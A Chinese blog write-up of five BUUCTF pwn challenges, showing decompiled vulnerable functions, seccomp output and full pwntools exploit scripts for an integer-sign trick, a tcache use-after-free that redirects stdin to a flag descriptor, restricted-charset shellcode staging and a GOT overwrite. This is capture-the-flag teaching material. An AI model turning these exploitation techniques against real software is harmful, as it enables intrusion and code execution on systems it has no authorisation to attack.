BUUCTF pwn wp 101 - 105

wustctf2020_number_game

wustctf2020_number_game(master*)$ file wustctf2020_number_game;checksec wustctf2020_number_game
wustctf2020_number_game: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ad95bd0bc056d1f68fc74a2a3f2cd7ce63ada796, not stripped
[*] '/home/pwn/桌面/wustctf2020_number_game/wustctf2020_number_game'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
unsigned int vulnerable()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0 || (v1 = -v1, v1 >= 0) )
    printf("You lose");
  else
    shell();
  return __readgsdword(0x14u) ^ v2;
}

有符号数的奇妙冒险, 首先不能是非零数, 输入一个负数, 之后这个负数取补码之后依然是负数
只有一个可能: 0x80000000

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 28729
filename = "./wustctf2020_number_game"
elf = ELF(filename)
# libc = ELF("./libc_x86-2.23.so")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    io.send('-2147483648')


if __name__ == "__main__":
    pwn()
    io.interactive()

ciscn_2019_final_2

ciscn_2019_final_2(master*)$ file ciscn_final_2;checksec ciscn_final_2 
ciscn_final_2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=034de8edf01bcf16b3a78c825a5b23008331115d, not stripped
[*] '/home/pwn/桌面/ciscn_2019_final_2/ciscn_final_2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  init(argc, argv, envp);
  Sandbox_Loading();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = get_atoi();
      if ( v3 != 2 )
        break;
      delete();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        show();
      }
      else if ( v3 == 4 )
      {
        bye_bye();
      }
    }
    else if ( v3 == 1 )
    {
      allocate();
    }
  }
}

sandbox

ciscn_2019_final_2(master*)$ seccomp-tools dump ./ciscn_final_2
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

什么都不准用, 有点意思了

init 读取flag到FILE结构(堆中), 然后修改fd为666

unsigned __int64 init()
{
  int fd; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("flag", 0);
  if ( fd == -1 )
  {
    puts("no such file :flag");
    exit(-1);
  }
  dup2(fd, 666);
  close(fd);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  return __readfsqword(0x28u) ^ v2;
}

allocate

unsigned __int64 allocate()
{
  _DWORD *v0; // rbx
  int v2; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  printf("TYPE:\n1: int\n2: short int\n>");
  v2 = get_atoi();
  if ( v2 == 1 )
  {
    int_pt = malloc(0x20uLL);
    if ( !int_pt )
      exit(-1);
    bool = 1;
    printf("your inode number:");
    v0 = int_pt;
    *v0 = get_atoi();
    *((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
    puts("add success !");
  }
  if ( v2 == 2 )
  {
    short_pt = malloc(0x10uLL);
    if ( !short_pt )
      exit(-1);
    bool = 1;
    printf("your inode number:");
    *(_WORD *)short_pt = get_atoi();
    *((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
    puts("add success !");
  }
  return __readfsqword(0x28u) ^ v3;
}

delete 存在UAF

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( bool )
  {
    printf("TYPE:\n1: int\n2: short int\n>");
    v1 = get_atoi();
    if ( v1 == 1 && int_pt )
    {
      free(int_pt);
      bool = 0;
      puts("remove success !");
    }
    if ( v1 == 2 && short_pt )
    {
      free(short_pt);
      bool = 0;
      puts("remove success !");
    }
  }
  else
  {
    puts("invalid !");
  }
  return __readfsqword(0x28u) ^ v2;
}

byebye 可以劫持scanf的fd文件描述符到666

void __noreturn bye_bye()
{
  char v0[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v1; // [rsp+68h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("what do you want to say at last? ");
  __isoc99_scanf("%99s", v0);
  printf("your message :%s we have received...\n", v0);
  puts("have fun !");
  exit(0);
}

漏洞利用
堆利用打_IO_2_1_stdin_的结构体, 文件描述符修改到flag对应的fd == 666, 读取后即可打印出来

(1) tcache UAF 泄露堆
(2) 填满 tcache 用 unsorted bin attack 泄露 libc
(3) tcache attack 打 stdin_filno

在这里插入图片描述
add(2, heap_low_addr - 0xa0)
在这里插入图片描述

填满tcache
在这里插入图片描述
打stdin_filno
在这里插入图片描述
在这里插入图片描述

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 27097
filename = "./ciscn_final_2"
elf = ELF(filename)
libc = ELF("./libc_x64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def add(type, number):
   io.sendlineafter('which command?', '1')
   io.sendlineafter('TYPE:', str(type))
   io.sendlineafter('your inode number:', str(number))
 
def delete(type):
   io.sendlineafter('which command?', '2')
   io.sendlineafter('TYPE:', str(type))
 
def show(type):
   io.sendlineafter('which command?', '3')
   io.sendlineafter('TYPE:', str(type))

def leave(content):
    io.sendlineafter('> ','4')
    io.sendlineafter('what do you want to say at last? \n', content)

def pwn():
    add(1, 0xfa1c4) # 0x30 chunk
    delete(1)
    for i in range(4):
        add(2, 0xfa1ca) # 0x20 chunks
    # B()
    delete(2)
    add(1, 0xfa1c4) # 0x30 chunk
    delete(2)
    show(2)
    io.recvuntil('your short type inode number :')
    heap_low_addr = int(io.recvuntil('\n')[:-1])
    if heap_low_addr < 0: heap_low_addr += 0x10000
    log.info('heap low address 2 bytes: %#x', heap_low_addr)
    add(2, heap_low_addr - 0xa0)
    add(2, 0)
    # B()
    delete(1)
    # B()
    add(2, 0x30 + 0x20 * 3 + 1) # fake chunk recall
    # B()
    for i in range(7):
        delete(1)
        add(2, 0)
    # B()
    delete(1)
    show(1)
    io.recvuntil('your int type inode number :')
    main_arena_low_4bytes = int(io.recvuntil('\n')[:-1]) - 96
    if main_arena_low_4bytes < 0: main_arena_low_4bytes += 0x100000000
    log.info('main arena low 4 bytes address: %#x', main_arena_low_4bytes)

    malloc_hook_low_4bytes = (main_arena_low_4bytes & 0xFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
    libc_base_low_4bytes = malloc_hook_low_4bytes - libc.sym['__malloc_hook']
    stdin_filno_low_4bytes = libc_base_low_4bytes + libc.sym['_IO_2_1_stdin_'] + 0x70
    log.info('libc base low 4 bytes address: %#x', libc_base_low_4bytes)
    log.info('stdin filno low 4byte: %#x', stdin_filno_low_4bytes)

    add(2, stdin_filno_low_4bytes & 0xFFFF)
    add(1, 0)
    # B()
    add(1, 666)
    leave('falca')
    

if __name__ == "__main__":
    pwn()
    io.interactive()

小结
unsorted bin attack + tcache UAF(double free) + house of spirit

wustctf2020_easyfast

做过了
https://blog.csdn.net/qq_33976344/article/details/120132888

starctf_2019_babyshell

starctf_2019_babyshell$ file starctf_2019_babyshell;checksec starctf_2019_babyshell
starctf_2019_babyshell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1823c3a487a33936129f5630bc72aae96a129ca8, stripped
[*] '/home/pwn/桌面/starctf_2019_babyshell/starctf_2019_babyshell'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  void *buf; // [rsp+0h] [rbp-10h]

  sub_4007F8(a1, a2, a3);
  buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
  puts("give me shellcode, plz:");
  read(0, buf, 0x200uLL);
  if ( !(unsigned int)sub_400786(buf) )
  {
    printf("wrong shellcode!");
    exit(0);
  }
  ((void (*)(void))buf)();
  return 0LL;
}
__int64 __fastcall sub_400786(_BYTE *a1)
{
  _BYTE *i; // [rsp+18h] [rbp-10h]

  while ( *a1 )
  {
    for ( i = &unk_400978; *i && *i != *a1; ++i )
      ;
    if ( !*i )
      return 0LL;
    ++a1;
  }
  return 1LL;
}

在这里插入图片描述
这里可以将数据转换成代码(按C + force)

在这里插入图片描述
这题是检查shellcode是否有匹配的指令, 由在这段代码中存在的指令组成的shellcode才能通过检查
所以可以分两步, 手写shellcode(由上方的指令集组成), 构造读取另一个shellcode的函数功能, 读取第二个shellcode到buf, 然后就可以执行buf的shellcode, get shell
64位系统, 可以采用syscall调用sys_read

在这里插入图片描述
看看检查函数上方的汇编
在这里插入图片描述
rsi = buf, 所以shellcode只需要控制rdi = 0, rdx = 合适的size即可
看看栈内有无可以利用的数据

断点到调用buf执行
在这里插入图片描述

在这里插入图片描述

shellcode = 'pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall'

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 26060
filename = "./starctf_2019_babyshell"
elf = ELF(filename)
# libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall')
    # B()
    io.sendafter('give me shellcode, plz:\n', shellcode)
    offset = 0xC
    io.sendline(cyclic(offset) + asm(shellcraft.sh()))


if __name__ == "__main__":
    pwn()
    io.interactive()

wustctf2020_name_your_dog

wustctf2020_name_your_dog$ file wustctf2020_name_your_dog;checksec wustctf2020_name_your_dog
wustctf2020_name_your_dog: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9615fb1408f3d1f6091c2018310bf9170bc6abd0, not stripped
[*] '/home/pwn/桌面/wustctf2020_name_your_dog/wustctf2020_name_your_dog'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int vulnerable()
{
  int result; // eax
  int i; // [esp+8h] [ebp-10h]
  int v2; // [esp+Ch] [ebp-Ch]

  result = puts("I bought you five male dogs.Name for them?");
  for ( i = 1; i <= 5; ++i )
  {
    v2 = NameWhich(&Dogs);
    printf("You get %d dogs!!!!!!\nWhatever , the author prefers cats ^.^\n", i);
    result = printf("His name is:%s\n\n", (const char *)(8 * v2 + 134520928));
  }
  return result;
}
int __cdecl NameWhich(int a1)
{
  int v2[4]; // [esp+18h] [ebp-10h] BYREF

  v2[1] = __readgsdword(0x14u);
  printf("Name for which?\n>");
  __isoc99_scanf("%d", v2);
  printf("Give your name plz: ");
  __isoc99_scanf("%7s", 8 * v2[0] + a1);
  return v2[0];
}

数组越界漏洞, 越界到got, 劫持printf@got到shell后门函数即可, 但是发现偏移非整数所以修改scanf@got

在这里插入图片描述

在这里插入图片描述

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 27098
filename = "./wustctf2020_name_your_dog"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    shell_addr = 0x080485CB
    # offset = (0x0804A00C - 0x0804A060) / 8
    # print(offset) # -10.5 not integer
    offset = (0x0804A028 - 0x0804A060) / 8
    print(offset) # -7
    offset = int(offset)
    io.sendlineafter('>', str(offset))
    io.sendafter('name plz: ', p32(shell_addr))


if __name__ == "__main__":
    pwn()
    io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值